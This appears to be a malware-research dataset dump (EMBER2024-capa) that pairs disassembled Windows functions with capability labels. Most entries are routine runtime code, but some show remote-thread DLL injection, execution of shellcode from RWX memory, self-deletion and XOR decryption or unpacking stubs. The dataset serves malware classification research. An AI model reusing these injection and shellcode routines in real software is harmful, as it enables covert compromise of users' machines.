joyce8/EMBER2024-capa huggingface dataset:
Function at 0x700e880
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, dword [esi + 0xc]
test eax, eax
je 0x700e8e4
cmp byte [esi + 0x10], 0
je 0x700e8a2
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
mov eax, dword [esi + 0xc]
pop ecx
mov byte [esi + 0x10], 0
push edi
push eax
push dword [ebp + 0xc]
push 1
push dword [ebp + 8]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
push dword [esi + 0xc]
mov edi, eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ferror]
add esp, 0x14
test eax, eax
je 0x700e8d2
push dword [esi + 0xc]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_feof]
pop ecx
test eax, eax
je 0x700e8eb
push dword [esi + 0xc]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
pop ecx
mov dword [esi + 8], eax
mov eax, edi
pop edi
jmp 0x700e8e6
xor eax, eax
pop esi
pop ebp
ret 8
push str.stream_read_error
push 0
call fcn.070012b7
int3

Function at 0x700eb50
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, dword [esi + 4]
cmp byte [eax + 8], 0
jne 0x700eba3
cmp dword [esi + 0xc], 0
je 0x700eb9e
push dword [esi + 0xc]
push dword [ebp + 0xc]
push 1
push dword [ebp + 8]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
push dword [esi + 0xc]
mov byte [esi + 0x10], 1
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ferror]
add esp, 0x14
test eax, eax
je 0x700eb91
push str.stream_write_error
jmp 0x700eba8
push dword [esi + 0xc]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
pop ecx
mov dword [esi + 8], eax
pop esi
pop ebp
ret 8
push str.Attempt_to_write_read_only_stream
push 0
call fcn.070012b7
int3

Function at 0x4400c9
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46c6d0
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x44010c
push str.SystemFunction040
push dword [0x46c6d0]
call edi
push str.SystemFunction041
push dword [0x46c6d0]
mov dword [0x46c6c0], eax
call edi
mov dword [0x46c6c4], eax
jmp 0x440111
mov eax, dword [0x46c6c4]
cmp dword [0x46c6c0], 0
je 0x440122
test eax, eax
jne 0x4401c9
push 0x46c6d4
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x4401d3
push str.CryptProtectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c0], 0
mov dword [0x46c6c8], eax
jne 0x440187
test eax, eax
jne 0x440187
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x440171
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x440178
mov esi, 0x80004005
push esi
push 0x28
push str.c:_agent_work138_s_srclibsdutilcryputil.cpp
call fcn.004038f5
jmp 0x4401d3
push str.CryptUnprotectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c4], 0
mov dword [0x46c6cc], eax
jne 0x4401c9
test eax, eax
jne 0x4401c9
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x4401bd
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x4401c4
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x44017b
mov dword [0x46c6d8], 1
pop edi
mov eax, esi
pop esi
ret
Function at 0x405ef4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422a34], 0
push esi
jne 0x405f2b
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f05
mov dword [ecx*4 + 0x422a30], eax
inc ecx
cmp ecx, 0x100
jl 0x405f00
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405f5c
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a30]
xor eax, esi
inc ecx
dec edx
jne 0x405f3e
pop edi
not eax
pop esi
ret 0xc

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403d7a
nop
nop
sub eax, 0x403d20
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x43001e
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp int.00401219
Function at 0x50b580
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x8000]
push edi
jmp 0x50b59a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x50b5a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50b590
mov eax, 1
add ebx, ebx
jne 0x50b5b3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x50b5a8
jne 0x50b5c4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x50b5a8
xor ecx, ecx
sub eax, 3
jb 0x50b5d8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x50b64a
mov ebp, eax
add ebx, ebx
jne 0x50b5e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x50b5f0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x50b614
inc ecx
add ebx, ebx
jne 0x50b600
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x50b5f5
jne 0x50b611
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x50b5f5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x50b634
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x50b625
jmp 0x50b596
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x50b634
add edi, ecx
jmp 0x50b596
pop esi
mov edi, esi
mov ecx, 0x1d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x50b652
cmp byte [edi], 6
jne 0x50b652
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x50b657
lea edi, [esi + 0x9000]
mov eax, dword [edi]
or eax, eax
je 0x50b6c6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xdacc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xdb24]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x50b684
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xdb2c]
or eax, eax
je 0x50b6c0
mov dword [ebx], eax
add ebx, 4
jmp 0x50b6a1
call dword [esi + 0xdb28]
mov ebp, dword [esi + 0xdb30]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x50b6fa
sub esp, 0xffffff80
jmp section.UPX0

Function at 0x79d7cc
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x79d7d2
pop ebp
sub ebp, 6
sub ebp, 0x39d7cc
jmp 0x79d830
jmp 0x79d839
mov eax, 0x39d7cc
add eax, ebp
add eax, 0x93
mov ecx, 0x62b
mov edx, 0x8f044435
xor byte [eax], dl
inc eax
dec ecx
jne 0x79d850
jmp 0x79d863
pop edi
jne 0x79d8c3
xor eax, 0x5d353525
xor eax, 0x63519f9
cmc
retf 0xf1a0
cmp eax, 0xbe353535
mov al, byte [0x35353539]
mov esi, 0x353525b8
xor eax, 0x437dcf4
aaa
mov dh, 0xf7
xor dword [edx + edi - 0x50], edi
ror edx, 0xca
retf 0xf768
Function at 0x65881744
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x65881877
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.File_size_is__d_n
call sym._printf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x658818e5
mov dword [esp], str.Malloc_failed_
call sym._puts
mov dword [esp], 1
call sym._exit
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._fread
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x65881a94
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0xc]
call eax
nop
leave
ret

Function at 0x65881afb
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret

Function at 0x65881e90
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6588603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x65886034]
sub esp, 4
test ebx, ebx
je 0x65881edb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x65881ed4
test esi, esi
je 0x65881ed4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x65881eb0
mov dword [esp], 0x6588603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x658820c0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x6588414c
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x65882110
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x658821e8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6588214e
cmp eax, 4
jne 0x65882170
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6588215e
cmp edx, 4
je 0x6588215e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.658820c0

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x408128
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
xor edx, edx
mov ecx, dword [ebp + 0xc]
and eax, 3
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, edx
sub ecx, eax
je 0x408172
rol edx, 5
xor edx, dword [esi + ebx]
add esi, 4
imul eax, edx, 0x9e3779b9
rol eax, 5
xor eax, 4
imul edx, eax, 0x9e3779b9
cmp esi, ecx
jb 0x408141
jmp 0x408172
movsx ecx, byte [esi + ebx]
rol edx, 5
xor edx, ecx
imul edx, edx, 0x9e3779b9
inc esi
cmp esi, dword [ebp + 0xc]
jb 0x408162
pop esi
mov eax, edx
pop ebx
pop ebp
ret

Function at 0x408d04
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 1
lea esi, [ebx - 1]
push 0x2000
not esi
push ebx
and esi, 0xf0deafff
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
cmp edi, esi
jne 0x408d39
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp esi, dword [ebp - 0x18]
jb 0x408d63
lea eax, [esi + ebx]
cmp eax, dword [ebp - 0x18]
jb 0x408d63
test edi, edi
je 0x408d30
push 0x8000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x408d30
test edi, edi
je 0x408d6b
mov eax, edi
jmp 0x408d32
push 1
push 0x2000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x408d32
int3
Function at 0x40be0e
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 8]
push eax
mov dword [sym.TestUniquePtr.exe_gMozillaPoisonSize], eax
call fcn.00408d04
pop ecx
mov ecx, dword [sym.TestUniquePtr.exe_gMozillaPoisonSize]
mov dword [sym.TestUniquePtr.exe_gMozillaPoisonBase], eax
test ecx, ecx
je 0x40be46
shr ecx, 1
dec ecx
add eax, ecx
mov dword [sym.TestUniquePtr.exe_gMozillaPoisonValue], eax
mov esp, ebp
pop ebp
ret
Function at 0x406752
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406776
xor eax, eax
test eax, eax
je 0x406789
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x406789
xor ecx, ecx
jmp 0x40678c
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x4068b5
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dcc], 0
push esi
jne 0x4068ec
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4068c6
mov dword [ecx*4 + 0x427dc8], eax
inc ecx
cmp ecx, 0x100
jl 0x4068c1
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x40691d
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427dc8]
xor eax, esi
inc ecx
dec edx
jne 0x4068ff
pop edi
not eax
pop esi
ret 0xc

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x40d060], 1
mov dword [0x40d05c], 1
mov dword [0x40d058], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x40d014], eax
mov eax, dword [0x40d06c]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x40d080]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x40d068]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x409018], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x4018c0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x401920
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40d074]
test esi, esi
jle 0x401a40
mov eax, dword [0x40d078]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x401954
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x4019d7
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401940
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401a67
mov eax, dword [0x40d078]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x40d078]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401a47
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x4019d0
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x4019e0
add dword [0x40d074], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x40d078]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x4019d0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x40195e
mov eax, dword [0x40d078]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop

Function at 0x401f80
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x40d090
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40d088]
sub esp, 4
test ebx, ebx
je 0x401fd5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x401fce
test esi, esi
je 0x401fce
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401fb0
mov dword [esp], 0x40d090
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x402310
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x402335
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402340
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x402335
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402388
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40237e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40238a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x402370
xor eax, eax
pop ebx
pop esi
ret